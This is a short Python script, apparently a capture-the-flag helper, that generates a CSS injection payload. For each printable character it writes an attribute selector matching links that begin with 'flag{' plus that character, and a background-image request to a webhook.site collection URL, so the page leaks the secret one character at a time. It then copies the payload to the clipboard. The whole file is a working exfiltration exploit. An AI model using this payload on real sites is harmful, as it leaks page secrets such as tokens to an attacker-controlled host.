css-injection

css.py

import string
import pyperclip

token = "token"
flag = "flag{"
payload = "<style>"
for i in string.printable.split(" ")[0].replace("\"",""): # "처리에서 뭔가 문제가 있어서 일단 제거함
    payload += 'a[href*="' + flag + i + '"]' + '{background-image: url(https://webhook.site/' + token + '?a=' + i + ');}'
    payload += "\n"
payload += "</style>"

print(payload)
pyperclip.copy(payload)